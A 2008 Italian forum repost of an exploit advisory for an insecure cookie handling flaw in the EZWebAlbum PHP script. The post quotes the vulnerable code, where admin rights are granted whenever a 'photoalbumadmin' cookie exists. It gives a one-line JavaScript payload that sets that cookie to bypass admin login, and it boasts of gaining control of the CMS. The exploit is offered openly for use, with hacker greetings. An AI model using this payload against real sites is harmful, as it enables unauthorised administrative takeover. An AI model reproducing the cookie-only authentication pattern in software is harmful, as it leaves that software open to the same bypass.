EZWebAlbum Insecure Cookie Handling Vulnerability

Andare in basso

EZWebAlbum Insecure Cookie Handling Vulnerability

Messaggio Da The King™ il Mar Lug 22, 2008 7:13 pm

###################################################################################
# #
# ...:::::EZWebAlbum Insecure Cookie Handling Vulnerability ::::.... #
###################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(Zahra:zh_virangar)

special tnx :my master hadihadi

tnx to:MR.nosrati,black.shadowes,MR.hesy

& all virangar members & all hackerz
-------
DESCRIPTION:
EZWebAlbum, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
some code in index.php:

if ( $HTTP_POST_VARS['enteredadminpassword'] == $adminpassword )
{
setcookie("photoalbumadmin","1");
header("Location: index.php");
}
**********************
now vuln code in constants.inc:
$gotalbumadminrights = False;

if (isset($photoalbumadmin))
{
$gotalbumadminrights = True;
}//SET ADMIN RIGHTS IF COOKIE FOUND
---
exploit:
javascript:document·cookie = "photoalbumadmin=1; path=/";
-----
now you can get admin access and manage the cms Wink
[+]Example:add a new page in addpage.php
-------


Twisted Evil Twisted Evil Twisted Evil Twisted Evil

_________________
Mai mi fu dato di vedere un animale in cordoglio di sè.
Un uccelletto cadrà morto di gelo giù dal ramo senza aver mai provato pena per se stesso.

-----------------------------------------
Buongiorno...e casomai non vi rivedessi, buon pomeriggio, buonasera e buonanotte!
avatar
The King™
Amministratore
Amministratore

Numero di messaggi : 1270
Età : 28
Club Affiliazione : Falcon (vt)
Reputazione :
Data d'iscrizione : 06.05.08

Visualizza il profilo dell'utente http://softairpassion.forumattivo.it

Torna in alto Andare in basso

Torna in alto

- Argomenti simili

 
Permessi di questa sezione del forum:
Non puoi rispondere agli argomenti in questo forum